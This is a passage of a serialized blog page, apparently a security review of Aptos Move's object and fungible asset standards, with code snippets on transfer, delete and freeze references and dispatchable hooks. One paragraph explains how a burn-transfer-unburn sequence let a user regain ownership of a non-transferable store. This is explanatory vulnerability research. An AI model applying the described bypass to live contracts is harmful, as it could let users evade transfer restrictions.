tag":139,"props":62657,"children":62658},{"style":294},[62659],{"type":28,"value":60828},{"type":23,"tag":139,"props":62661,"children":62662},{"style":259},[62663],{"type":28,"value":1820},{"type":23,"tag":139,"props":62665,"children":62666},{"class":141,"line":169},[62667,62671,62675,62679,62684,62688,62692,62696,62700,62704,62708],{"type":23,"tag":139,"props":62668,"children":62669},{"style":279},[62670],{"type":28,"value":969},{"type":23,"tag":139,"props":62672,"children":62673},{"style":294},[62674],{"type":28,"value":3833},{"type":23,"tag":139,"props":62676,"children":62677},{"style":982},[62678],{"type":28,"value":985},{"type":23,"tag":139,"props":62680,"children":62681},{"style":259},[62682],{"type":28,"value":62683}," primary_fungible_store",{"type":23,"tag":139,"props":62685,"children":62686},{"style":982},[62687],{"type":28,"value":1461},{"type":23,"tag":139,"props":62689,"children":62690},{"style":245},[62691],{"type":28,"value":60720},{"type":23,"tag":139,"props":62693,"children":62694},{"style":259},[62695],{"type":28,"value":262},{"type":23,"tag":139,"props":62697,"children":62698},{"style":294},[62699],{"type":28,"value":62027},{"type":23,"tag":139,"props":62701,"children":62702},{"style":259},[62703],{"type":28,"value":1052},{"type":23,"tag":139,"props":62705,"children":62706},{"style":245},[62707],{"type":28,"value":60676},{"type":23,"tag":139,"props":62709,"children":62710},{"style":259},[62711],{"type":28,"value":13437},{"type":23,"tag":139,"props":62713,"children":62714},{"class":141,"line":178},[62715],{"type":23,"tag":139,"props":62716,"children":62717},{"emptyLinePlaceholder":15},[62718],{"type":28,"value":184},{"type":23,"tag":139,"props":62720,"children":62721},{"class":141,"line":187},[62722,62727,62731,62736,62740,62744,62748,62752,62756,62760],{"type":23,"tag":139,"props":62723,"children":62724},{"style":259},[62725],{"type":28,"value":62726},"    object",{"type":23,"tag":139,"props":62728,"children":62729},{"style":982},[62730],{"type":28,"value":1461},{"type":23,"tag":139,"props":62732,"children":62733},{"style":245},[62734],{"type":28,"value":62735},"transfer_raw",{"type":23,"tag":139,"props":62737,"children":62738},{"style":259},[62739],{"type":28,"value":262},{"type":23,"tag":139,"props":62741,"children":62742},{"style":294},[62743],{"type":28,"value":62533},{"type":23,"tag":139,"props":62745,"children":62746},{"style":259},[62747],{"type":28,"value":1052},{"type":23,"tag":139,"props":62749,"children":62750},{"style":294},[62751],{"type":28,"value":62027},{"type":23,"tag":139,"props":62753,"children":62754},{"style":259},[62755],{"type":28,"value":1052},{"type":23,"tag":139,"props":62757,"children":62758},{"style":294},[62759],{"type":28,"value":62554},{"type":23,"tag":139,"props":62761,"children":62762},{"style":259},[62763],{"type":28,"value":1820},{"type":23,"tag":139,"props":62765,"children":62766},{"class":141,"line":196},[62767],{"type":23,"tag":139,"props":62768,"children":62769},{"style":958},[62770],{"type":28,"value":62771},"    //receipient can interact with store by using their signer\n",{"type":23,"tag":139,"props":62773,"children":62774},{"class":141,"line":205},[62775],{"type":23,"tag":139,"props":62776,"children":62777},{"style":259},[62778],{"type":28,"value":1897},{"type":23,"tag":24,"props":62780,"children":62781},{},[62782,62784,62791],{"type":28,"value":62783},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":23,"tag":64,"props":62785,"children":62788},{"href":62786,"rel":62787},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[68],[62789],{"type":28,"value":62790},"edge case",{"type":28,"value":62792}," involving the transfer of a non-transferable fungible store.",{"type":23,"tag":128,"props":62794,"children":62796},{"className":948,"code":62795,"language":947,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n    assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n    let object = borrow_global_mut\u003CObjectCore>(ref.self);\n    assert!(\n        object.owner == ref.owner,\n        error::permission_denied(ENOT_OBJECT_OWNER),\n    );\n    \n    [...]\n    \n    object.owner = to;\n}\n",[62797],{"type":23,"tag":135,"props":62798,"children":62799},{"__ignoreMap":7},[62800,62865,62926,62973,62984,63019,63039,63046,63053,63068,63075,63103],{"type":23,"tag":139,"props":62801,"children":62802},{"class":141,"line":142},[62803,62807,62811,62816,62820,62824,62828,62833,62837,62841,62845,62849,62853,62857,62861],{"type":23,"tag":139,"props":62804,"children":62805},{"style":294},[62806],{"type":28,"value":59575},{"type":23,"tag":139,"props":62808,"children":62809},{"style":294},[62810],{"type":28,"value":4210},{"type":23,"tag":139,"props":62812,"children":62813},{"style":245},[62814],{"type":28,"value":62815}," transfer_with_ref",{"type":23,"tag":139,"props":62817,"children":62818},{"style":259},[62819],{"type":28,"value":262},{"type":23,"tag":139,"props":62821,"children":62822},{"style":279},[62823],{"type":28,"value":61237},{"type":23,"tag":139,"props":62825,"children":62826},{"style":982},[62827],{"type":28,"value":2493},{"type":23,"tag":139,"props":62829,"children":62830},{"style":305},[62831],{"type":28,"value":62832}," LinearTransferRef",{"type":23,"tag":139,"props":62834,"children":62835},{"style":259},[62836],{"type":28,"value":1052},{"type":23,"tag":139,"props":62838,"children":62839},{"style":294},[62840],{"type":28,"value":30615},{"type":23,"tag":139,"props":62842,"children":62843},{"style":982},[62844],{"type":28,"value":2493},{"type":23,"tag":139,"props":62846,"children":62847},{"style":294},[62848],{"type":28,"value":4253},{"type":23,"tag":139,"props":62850,"children":62851},{"style":259},[62852],{"type":28,"value":1062},{"type":23,"tag":139,"props":62854,"children":62855},{"style":294},[62856],{"type":28,"value":4347},{"type":23,"tag":139,"props":62858,"children":62859},{"style":305},[62860],{"type":28,"value":61874},{"type":23,"tag":139,"props":62862,"children":62863},{"style":259},[62864],{"type":28,"value":1268},{"type":23,"tag":139,"props":62866,"children":62867},{"class":141,"line":151},[62868,62872,62876,62880,62884,62888,62893,62897,62901,62905,62909,62913,62917,62921],{"type":23,"tag":139,"props":62869,"children":62870},{"style":245},[62871],{"type":28,"value":60244},{"type":23,"tag":139,"props":62873,"children":62874},{"style":259},[62875],{"type":28,"value":262},{"type":23,"tag":139,"props":62877,"children":62878},{"style":982},[62879],{"type":28,"value":18629},{"type":23,"tag":139,"props":62881,"children":62882},{"style":294},[62883],{"type":28,"value":4707},{"type":23,"tag":139,"props":62885,"children":62886},{"style":259},[62887],{"type":28,"value":3808},{"type":23,"tag":139,"props":62889,"children":62890},{"style":305},[62891],{"type":28,"value":62892},"Untransferable",{"type":23,"tag":139,"props":62894,"children":62895},{"style":259},[62896],{"type":28,"value":5614},{"type":23,"tag":139,"props":62898,"children":62899},{"style":279},[62900],{"type":28,"value":61237},{"type":23,"tag":139,"props":62902,"children":62903},{"style":982},[62904],{"type":28,"value":73},{"type":23,"tag":139,"props":62906,"children":62907},{"style":279},[62908],{"type":28,"value":11724},{"type":23,"tag":139,"props":62910,"children":62911},{"style":259},[62912],{"type":28,"value":60833},{"type":23,"tag":139,"props":62914,"children":62915},{"style":982},[62916],{"type":28,"value":1461},{"type":23,"tag":139,"props":62918,"children":62919},{"style":245},[62920],{"type":28,"value":61719},{"type":23,"tag":139,"props":62922,"children":62923},{"style":259},[62924],{"type":28,"value":62925},"(ENOT_MOVABLE));\n",{"type":23,"tag":139,"props":62927,"children":62928},{"class":141,"line":160},[62929,62933,62937,62941,62945,62949,62953,62957,62961,62965,62969],{"type":23,"tag":139,"props":62930,"children":62931},{"style":279},[62932],{"type":28,"value":969},{"type":23,"tag":139,"props":62934,"children":62935},{"style":294},[62936],{"type":28,"value":60394},{"type":23,"tag":139,"props":62938,"children":62939},{"style":982},[62940],{"type":28,"value":985},{"type":23,"tag":139,"props":62942,"children":62943},{"style":294},[62944],{"type":28,"value":5600},{"type":23,"tag":139,"props":62946,"children":62947},{"style":259},[62948],{"type":28,"value":3808},{"type":23,"tag":139,"props":62950,"children":62951},{"style":305},[62952],{"type":28,"value":62369},{"type":23,"tag":139,"props":62954,"children":62955},{"style":259},[62956],{"type":28,"value":5614},{"type":23,"tag":139,"props":62958,"children":62959},{"style":279},[62960],{"type":28,"value":61237},{"type":23,"tag":139,"props":62962,"children":62963},{"style":982},[62964],{"type":28,"value":73},{"type":23,"tag":139,"props":62966,"children":62967},{"style":279},[62968],{"type":28,"value":11724},{"type":23,"tag":139,"props":62970,"children":62971},{"style":259},[62972],{"type":28,"value":1820},{"type":23,"tag":139,"props":62974,"children":62975},{"class":141,"line":169},[62976,62980],{"type":23,"tag":139,"props":62977,"children":62978},{"style":245},[62979],{"type":28,"value":60244},{"type":23,"tag":139,"props":62981,"children":62982},{"style":259},[62983],{"type":28,"value":1443},{"type":23,"tag":139,"props":62985,"children":62986},{"class":141,"line":178},[62987,62992,62996,63001,63005,63010,63014],{"type":23,"tag":139,"props":62988,"children":62989},{"style":294},[62990],{"type":28,"value":62991},"        object",{"type":23,"tag":139,"props":62993,"children":62994},{"style":982},[62995],{"type":28,"value":73},{"type":23,"tag":139,"props":62997,"children":62998},{"style":259},[62999],{"type":28,"value":63000},"owner ",{"type":23,"tag":139,"props":63002,"children":63003},{"style":982},[63004],{"type":28,"value":6580},{"type":23,"tag":139,"props":63006,"children":63007},{"style":279},[63008],{"type":28,"value":63009}," ref",{"type":23,"tag":139,"props":63011,"children":63012},{"style":982},[63013],{"type":28,"value":73},{"type":23,"tag":139,"props":63015,"children":63016},{"style":259},[63017],{"type":28,"value":63018},"owner,\n",{"type":23,"tag":139,"props":63020,"children":63021},{"class":141,"line":187},[63022,63027,63031,63035],{"type":23,"tag":139,"props":63023,"children":63024},{"style":259},[63025],{"type":28,"value":63026},"        error",{"type":23,"tag":139,"props":63028,"children":63029},{"style":982},[63030],{"type":28,"value":1461},{"type":23,"tag":139,"props":63032,"children":63033},{"style":245},[63034],{"type":28,"value":61719},{"type":23,"tag":139,"props":63036,"children":63037},{"style":259},[63038],{"type":28,"value":62403},{"type":23,"tag":139,"props":63040,"children":63041},{"class":141,"line":196},[63042],{"type":23,"tag":139,"props":63043,"children":63044},{"style":259},[63045],{"type":28,"value":41550},{"type":23,"tag":139,"props":63047,"children":63048},{"class":141,"line":205},[63049],{"type":23,"tag":139,"props":63050,"children":63051},{"style":259},[63052],{"type":28,"value":59686},{"type":23,"tag":139,"props":63054,"children":63055},{"class":141,"line":214},[63056,63060,63064],{"type":23,"tag":139,"props":63057,"children":63058},{"style":259},[63059],{"type":28,"value":60618},{"type":23,"tag":139,"props":63061,"children":63062},{"style":982},[63063],{"type":28,"value":7599},{"type":23,"tag":139,"props":63065,"children":63066},{"style":259},[63067],{"type":28,"value":9783},{"type":23,"tag":139,"props":63069,"children":63070},{"class":141,"line":1320},[63071],{"type":23,"tag":139,"props":63072,"children":63073},{"style":259},[63074],{"type":28,"value":59686},{"type":23,"tag":139,"props":63076,"children":63077},{"class":141,"line":1329},[63078,63082,63086,63090,63094,63099],{"type":23,"tag":139,"props":63079,"children":63080},{"style":294},[63081],{"type":28,"value":62726},{"type":23,"tag":139,"props":63083,"children":63084},{"style":982},[63085],{"type":28,"value":73},{"type":23,"tag":139,"props":63087,"children":63088},{"style":259},[63089],{"type":28,"value":63000},{"type":23,"tag":139,"props":63091,"children":63092},{"style":982},[63093],{"type":28,"value":1067},{"type":23,"tag":139,"props":63095,"children":63096},{"style":294},[63097],{"type":28,"value":63098}," to",{"type":23,"tag":139,"props":63100,"children":63101},{"style":259},[63102],{"type":28,"value":995},{"type":23,"tag":139,"props":63104,"children":63105},{"class":141,"line":1580},[63106],{"type":23,"tag":139,"props":63107,"children":63108},{"style":259},[63109],{"type":28,"value":1897},{"type":23,"tag":24,"props":63111,"children":63112},{},[63113,63115,63120,63122,63127],{"type":28,"value":63114},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":23,"tag":135,"props":63116,"children":63118},{"className":63117},[],[63119],{"type":28,"value":61772},{"type":28,"value":63121},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":23,"tag":135,"props":63123,"children":63125},{"className":63124},[],[63126],{"type":28,"value":5149},{"type":28,"value":63128}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":23,"tag":666,"props":63130,"children":63132},{"id":63131},"references",[63133],{"type":28,"value":63134},"References",{"type":23,"tag":24,"props":63136,"children":63137},{},[63138,63143,63145,63151,63153,63158,63160,63165],{"type":23,"tag":135,"props":63139,"children":63141},{"className":63140},[],[63142],{"type":28,"value":63134},{"type":28,"value":63144}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":23,"tag":135,"props":63146,"children":63148},{"className":63147},[],[63149],{"type":28,"value":63150},"Refs",{"type":28,"value":63152}," are based on the ",{"type":23,"tag":135,"props":63154,"children":63156},{"className":63155},[],[63157],{"type":28,"value":46748},{"type":28,"value":63159}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":23,"tag":135,"props":63161,"children":63163},{"className":63162},[],[63164],{"type":28,"value":46748},{"type":28,"value":63166}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":23,"tag":24,"props":63168,"children":63169},{},[63170,63172,63177,63179,63184,63185,63191,63193,63198,63200,63205],{"type":28,"value":63171},"Let's get back to the ",{"type":23,"tag":135,"props":63173,"children":63175},{"className":63174},[],[63176],{"type":28,"value":59976},{"type":28,"value":63178}," deletion example. Both ",{"type":23,"tag":135,"props":63180,"children":63182},{"className":63181},[],[63183],{"type":28,"value":61261},{"type":28,"value":9002},{"type":23,"tag":135,"props":63186,"children":63188},{"className":63187},[],[63189],{"type":28,"value":63190},"fungible_asset::remove_store",{"type":28,"value":63192}," use the same object-specific ",{"type":23,"tag":135,"props":63194,"children":63196},{"className":63195},[],[63197],{"type":28,"value":61193},{"type":28,"value":63199}," permission. It can be created only during object creation. There is no separate ",{"type":23,"tag":135,"props":63201,"children":63203},{"className":63202},[],[63204],{"type":28,"value":61193},{"type":28,"value":63206}," for fungible assets.",{"type":23,"tag":128,"props":63208,"children":63209},{"className":948,"code":61143,"language":947,"meta":7,"style":7},[63210],{"type":23,"tag":135,"props":63211,"children":63212},{"__ignoreMap":7},[63213,63220,63259,63266,63273],{"type":23,"tag":139,"props":63214,"children":63215},{"class":141,"line":142},[63216],{"type":23,"tag":139,"props":63217,"children":63218},{"style":958},[63219],{"type":28,"value":61155},{"type":23,"tag":139,"props":63221,"children":63222},{"class":141,"line":151},[63223,63227,63231,63235,63239,63243,63247,63251,63255],{"type":23,"tag":139,"props":63224,"children":63225},{"style":294},[63226],{"type":28,"value":59575},{"type":23,"tag":139,"props":63228,"children":63229},{"style":294},[63230],{"type":28,"value":4210},{"type":23,"tag":139,"props":63232,"children":63233},{"style":245},[63234],{"type":28,"value":61171},{"type":23,"tag":139,"props":63236,"children":63237},{"style":259},[63238],{"type":28,"value":262},{"type":23,"tag":139,"props":63240,"children":63241},{"style":294},[63242],{"type":28,"value":61180},{"type":23,"tag":139,"props":63244,"children":63245},{"style":982},[63246],{"type":28,"value":2493},{"type":23,"tag":139,"props":63248,"children":63249},{"style":982},[63250],{"type":28,"value":5144},{"type":23,"tag":139,"props":63252,"children":63253},{"style":305},[63254],{"type":28,"value":61193},{"type":23,"tag":139,"props":63256,"children":63257},{"style":259},[63258],{"type":28,"value":273},{"type":23,"tag":139,"props":63260,"children":63261},{"class":141,"line":160},[63262],{"type":23,"tag":139,"props":63263,"children":63264},{"emptyLinePlaceholder":15},[63265],{"type":28,"value":184},{"type":23,"tag":139,"props":63267,"children":63268},{"class":141,"line":169},[63269],{"type":23,"tag":139,"props":63270,"children":63271},{"style":958},[63272],{"type":28,"value":61212},{"type":23,"tag":139,"props":63274,"children":63275},{"class":141,"line":178},[63276,63280,63284,63288,63292,63296,63300,63304],{"type":23,"tag":139,"props":63277,"children":63278},{"style":294},[63279],{"type":28,"value":59575},{"type":23,"tag":139,"props":63281,"children":63282},{"style":294},[63283],{"type":28,"value":4210},{"type":23,"tag":139,"props":63285,"children":63286},{"style":245},[63287],{"type":28,"value":61228},{"type":23,"tag":139,"props":63289,"children":63290},{"style":259},[63291],{"type":28,"value":262},{"type":23,"tag":139,"props":63293,"children":63294},{"style":279},[63295],{"type":28,"value":61237},{"type":23,"tag":139,"props":63297,"children":63298},{"style":982},[63299],{"type":28,"value":2493},{"type":23,"tag":139,"props":63301,"children":63302},{"style":305},[63303],{"type":28,"value":61246},{"type":23,"tag":139,"props":63305,"children":63306},{"style":259},[63307],{"type":28,"value":273},{"type":23,"tag":24,"props":63309,"children":63310},{},[63311,63313,63318,63320,63326],{"type":28,"value":63312},"On the other hand, the \"frozen\" status of a ",{"type":23,"tag":135,"props":63314,"children":63316},{"className":63315},[],[63317],{"type":28,"value":59976},{"type":28,"value":63319}," is toggled using a ",{"type":23,"tag":135,"props":63321,"children":63323},{"className":63322},[],[63324],{"type":28,"value":63325},"TransferRef",{"type":28,"value":63327},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":23,"tag":128,"props":63329,"children":63331},{"className":948,"code":63330,"language":947,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n    ref: &TransferRef,\n    store: Object\u003CT>,\n    frozen: bool,\n)\n",[63332],{"type":23,"tag":135,"props":63333,"children":63334},{"__ignoreMap":7},[63335,63371,63395,63422,63441],{"type":23,"tag":139,"props":63336,"children":63337},{"class":141,"line":142},[63338,63342,63346,63351,63355,63359,63363,63367],{"type":23,"tag":139,"props":63339,"children":63340},{"style":294},[63341],{"type":28,"value":59575},{"type":23,"tag":139,"props":63343,"children":63344},{"style":294},[63345],{"type":28,"value":4210},{"type":23,"tag":139,"props":63347,"children":63348},{"style":294},[63349],{"type":28,"value":63350}," set_frozen_flag",{"type":23,"tag":139,"props":63352,"children":63353},{"style":259},[63354],{"type":28,"value":3808},{"type":23,"tag":139,"props":63356,"children":63357},{"style":305},[63358],{"type":28,"value":3990},{"type":23,"tag":139,"props":63360,"children":63361},{"style":982},[63362],{"type":28,"value":2493},{"type":23,"tag":139,"props":63364,"children":63365},{"style":294},[63366],{"type":28,"value":3934},{"type":23,"tag":139,"props":63368,"children":63369},{"style":259},[63370],{"type":28,"value":4591},{"type":23,"tag":139,"props":63372,"children":63373},{"class":141,"line":151},[63374,63379,63383,63387,63391],{"type":23,"tag":139,"props":63375,"children":63376},{"style":279},[63377],{"type":28,"value":63378},"    ref",{"type":23,"tag":139,"props":63380,"children":63381},{"style":982},[63382],{"type":28,"value":2493},{"type":23,"tag":139,"props":63384,"children":63385},{"style":982},[63386],{"type":28,"value":5144},{"type":23,"tag":139,"props":63388,"children":63389},{"style":305},[63390],{"type":28,"value":63325},{"type":23,"tag":139,"props":63392,"children":63393},{"style":259},[63394],{"type":28,"value":1488},{"type":23,"tag":139,"props":63396,"children":63397},{"class":141,"line":160},[63398,63402,63406,63410,63414,63418],{"type":23,"tag":139,"props":63399,"children":63400},{"style":294},[63401],{"type":28,"value":27436},{"type":23,"tag":139,"props":63403,"children":63404},{"style":982},[63405],{"type":28,"value":2493},{"type":23,"tag":139,"props":63407,"children":63408},{"style":305},[63409],{"type":28,"value":59461},{"type":23,"tag":139,"props":63411,"children":63412},{"style":259},[63413],{"type":28,"value":3808},{"type":23,"tag":139,"props":63415,"children":63416},{"style":305},[63417],{"type":28,"value":3990},{"type":23,"tag":139,"props":63419,"children":63420},{"style":259},[63421],{"type":28,"value":4141},{"type":23,"tag":139,"props":63423,"children":63424},{"class":141,"line":169},[63425,63429,63433,63437],{"type":23,"tag":139,"props":63426,"children":63427},{"style":294},[63428],{"type":28,"value":59113},{"type":23,"tag":139,"props":63430,"children":63431},{"style":982},[63432],{"type":28,"value":2493},{"type":23,"tag":139,"props":63434,"children":63435},{"style":305},[63436],{"type":28,"value":10061},{"type":23,"tag":139,"props":63438,"children":63439},{"style":259},[63440],{"type":28,"value":1488},{"type":23,"tag":139,"props":63442,"children":63443},{"class":141,"line":178},[63444],{"type":23,"tag":139,"props":63445,"children":63446},{"style":259},[63447],{"type":28,"value":273},{"type":23,"tag":24,"props":63449,"children":63450},{},[63451,63452,63457,63458,63463],{"type":28,"value":14625},{"type":23,"tag":135,"props":63453,"children":63455},{"className":63454},[],[63456],{"type":28,"value":46748},{"type":28,"value":471},{"type":23,"tag":135,"props":63459,"children":63461},{"className":63460},[],[63462],{"type":28,"value":63325},{"type":28,"value":63464}," is used to transfer object ownership:",{"type":23,"tag":128,"props":63466,"children":63468},{"className":948,"code":63467,"language":947,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n    self: address,\n}\n",[63469],{"type":23,"tag":135,"props":63470,"children":63471},{"__ignoreMap":7},[63472,63480,63513,63532],{"type":23,"tag":139,"props":63473,"children":63474},{"class":141,"line":142},[63475],{"type":23,"tag":139,"props":63476,"children":63477},{"style":958},[63478],{"type":28,"value":63479},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":23,"tag":139,"props":63481,"children":63482},{"class":141,"line":151},[63483,63487,63492,63496,63501,63505,63509],{"type":23,"tag":139,"props":63484,"children":63485},{"style":279},[63486],{"type":28,"value":7409},{"type":23,"tag":139,"props":63488,"children":63489},{"style":305},[63490],{"type":28,"value":63491}," TransferRef",{"type":23,"tag":139,"props":63493,"children":63494},{"style":294},[63495],{"type":28,"value":7418},{"type":23,"tag":139,"props":63497,"children":63498},{"style":294},[63499],{"type":28,"value":63500}," drop",{"type":23,"tag":139,"props":63502,"children":63503},{"style":259},[63504],{"type":28,"value":1052},{"type":23,"tag":139,"props":63506,"children":63507},{"style":294},[63508],{"type":28,"value":3943},{"type":23,"tag":139,"props":63510,"children":63511},{"style":259},[63512],{"type":28,"value":1268},{"type":23,"tag":139,"props":63514,"children":63515},{"class":141,"line":160},[63516,63520,63524,63528],{"type":23,"tag":139,"props":63517,"children":63518},{"style":279},[63519],{"type":28,"value":18794},{"type":23,"tag":139,"props":63521,"children":63522},{"style":982},[63523],{"type":28,"value":2493},{"type":23,"tag":139,"props":63525,"children":63526},{"style":294},[63527],{"type":28,"value":4253},{"type":23,"tag":139,"props":63529,"children":63530},{"style":259},[63531],{"type":28,"value":1488},{"type":23,"tag":139,"props":63533,"children":63534},{"class":141,"line":169},[63535],{"type":23,"tag":139,"props":63536,"children":63537},{"style":259},[63538],{"type":28,"value":1897},{"type":23,"tag":24,"props":63540,"children":63541},{},[63542,63544,63549],{"type":28,"value":63543},"While the fungible asset's ",{"type":23,"tag":135,"props":63545,"children":63547},{"className":63546},[],[63548],{"type":28,"value":63325},{"type":28,"value":63550}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":23,"tag":128,"props":63552,"children":63554},{"className":948,"code":63553,"language":947,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n    metadata: Object\u003CMetadata>\n}\n",[63555],{"type":23,"tag":135,"props":63556,"children":63557},{"__ignoreMap":7},[63558,63566,63574,63605,63632],{"type":23,"tag":139,"props":63559,"children":63560},{"class":141,"line":142},[63561],{"type":23,"tag":139,"props":63562,"children":63563},{"style":958},[63564],{"type":28,"value":63565},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":23,"tag":139,"props":63567,"children":63568},{"class":141,"line":151},[63569],{"type":23,"tag":139,"props":63570,"children":63571},{"style":958},[63572],{"type":28,"value":63573},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":23,"tag":139,"props":63575,"children":63576},{"class":141,"line":160},[63577,63581,63585,63589,63593,63597,63601],{"type":23,"tag":139,"props":63578,"children":63579},{"style":279},[63580],{"type":28,"value":7409},{"type":23,"tag":139,"props":63582,"children":63583},{"style":305},[63584],{"type":28,"value":63491},{"type":23,"tag":139,"props":63586,"children":63587},{"style":294},[63588],{"type":28,"value":7418},{"type":23,"tag":139,"props":63590,"children":63591},{"style":294},[63592],{"type":28,"value":63500},{"type":23,"tag":139,"props":63594,"children":63595},{"style":259},[63596],{"type":28,"value":1052},{"type":23,"tag":139,"props":63598,"children":63599},{"style":294},[63600],{"type":28,"value":3943},{"type":23,"tag":139,"props":63602,"children":63603},{"style":259},[63604],{"type":28,"value":1268},{"type":23,"tag":139,"props":63606,"children":63607},{"class":141,"line":169},[63608,63612,63616,63620,63624,63628],{"type":23,"tag":139,"props":63609,"children":63610},{"style":294},[63611],{"type":28,"value":59452},{"type":23,"tag":139,"props":63613,"children":63614},{"style":982},[63615],{"type":28,"value":2493},{"type":23,"tag":139,"props":63617,"children":63618},{"style":305},[63619],{"type":28,"value":59461},{"type":23,"tag":139,"props":63621,"children":63622},{"style":259},[63623],{"type":28,"value":3808},{"type":23,"tag":139,"props":63625,"children":63626},{"style":305},[63627],{"type":28,"value":59470},{"type":23,"tag":139,"props":63629,"children":63630},{"style":259},[63631],{"type":28,"value":3995},{"type":23,"tag":139,"props":63633,"children":63634},{"class":141,"line":178},[63635],{"type":23,"tag":139,"props":63636,"children":63637},{"style":259},[63638],{"type":28,"value":1897},{"type":23,"tag":24,"props":63640,"children":63641},{},[63642,63644,63650,63652,63658],{"type":28,"value":63643},"Additionally, there are fungible asset-specific references such as ",{"type":23,"tag":135,"props":63645,"children":63647},{"className":63646},[],[63648],{"type":28,"value":63649},"MintRef",{"type":28,"value":63651}," for minting and ",{"type":23,"tag":135,"props":63653,"children":63655},{"className":63654},[],[63656],{"type":28,"value":63657},"BurnRef",{"type":28,"value":63659}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":23,"tag":41,"props":63661,"children":63663},{"id":63662},"dispatchable-fungible-assets",[63664],{"type":28,"value":63665},"Dispatchable fungible assets",{"type":23,"tag":24,"props":63667,"children":63668},{},[63669],{"type":28,"value":63670},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":23,"tag":24,"props":63672,"children":63673},{},[63674],{"type":28,"value":63675},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":23,"tag":63677,"props":63678,"children":63679},"warning",{},[63680],{"type":23,"tag":24,"props":63681,"children":63682},{},[63683,63685,63691],{"type":28,"value":63684},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":23,"tag":135,"props":63686,"children":63688},{"className":63687},[],[63689],{"type":28,"value":63690},"transfer_assert_minimum_deposit",{"type":28,"value":63692}," that can help mitigate such risks.",{"type":23,"tag":24,"props":63694,"children":63695},{},[63696,63698,63703,63705,63712],{"type":28,"value":63697},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":23,"tag":135,"props":63699,"children":63701},{"className":63700},[],[63702],{"type":28,"value":59575},{"type":28,"value":63704}," to ensure ",{"type":23,"tag":64,"props":63706,"children":63709},{"href":63707,"rel":63708},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[68],[63710],{"type":28,"value":63711},"their signature remains immutable",{"type":28,"value":63713},". An example implementation might look like this:",{"type":23,"tag":128,"props":63715,"children":63717},{"className":948,"code":63716,"language":947,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n    store: Object\u003CT>,\n    amount: u64,\n    transfer_ref: &TransferRef,\n): FungibleAsset {\n    //check paused, gather fees etc.\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n    store: Object\u003CT>,\n    fa: FungibleAsset,\n    transfer_ref: &TransferRef,\n) {\n    //check paused, gather fees etc.\n    fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[63718],{"type":23,"tag":135,"props":63719,"children":63720},{"__ignoreMap":7},[63721,63757,63784,63803,63827,63846,63854,63900,63907,63914,63950,63977,63997,64020,64027,64034,64078],{"type":23,"tag":139,"props":63722,"children":63723},{"class":141,"line":142},[63724,63728,63732,63737,63741,63745,63749,63753],{"type":23,"tag":139,"props":63725,"children":63726},{"style":294},[63727],{"type":28,"value":59575},{"type":23,"tag":139,"props":63729,"children":63730},{"style":294},[63731],{"type":28,"value":4210},{"type":23,"tag":139,"props":63733,"children":63734},{"style":294},[63735],{"type":28,"value":63736}," withdraw_hook",{"type":23,"tag":139,"props":63738,"children":63739},{"style":259},[63740],{"type":28,"value":3808},{"type":23,"tag":139,"props":63742,"children":63743},{"style":305},[63744],{"type":28,"value":3990},{"type":23,"tag":139,"props":63746,"children":63747},{"style":982},[63748],{"type":28,"value":2493},{"type":23,"tag":139,"props":63750,"children":63751},{"style":294},[63752],{"type":28,"value":3934},{"type":23,"tag":139,"props":63754,"children":63755},{"style":259},[63756],{"type":28,"value":4591},{"type":23,"tag":139,"props":63758,"children":63759},{"class":141,"line":151},[63760,63764,63768,63772,63776,63780],{"type":23,"tag":139,"props":63761,"children":63762},{"style":294},[63763],{"type":28,"value":27436},{"type":23,"tag":139,"props":63765,"children":63766},{"style":982},[63767],{"type":28,"value":2493},{"type":23,"tag":139,"props":63769,"children":63770},{"style":305},[63771],{"type":28,"value":59461},{"type":23,"tag":139,"props":63773,"children":63774},{"style":259},[63775],{"type":28,"value":3808},{"type":23,"tag":139,"props":63777,"children":63778},{"style":305},[63779],{"type":28,"value":3990},{"type":23,"tag":139,"props":63781,"children":63782},{"style":259},[63783],{"type":28,"value":4141},{"type":23,"tag":139,"props":63785,"children":63786},{"class":141,"line":160},[63787,63791,63795,63799],{"type":23,"tag":139,"props":63788,"children":63789},{"style":294},[63790],{"type":28,"value":59482},{"type":23,"tag":139,"props":63792,"children":63793},{"style":982},[63794],{"type":28,"value":2493},{"type":23,"tag":139,"props":63796,"children":63797},{"style":305},[63798],{"type":28,"value":3862},{"type":23,"tag":139,"props":63800,"children":63801},{"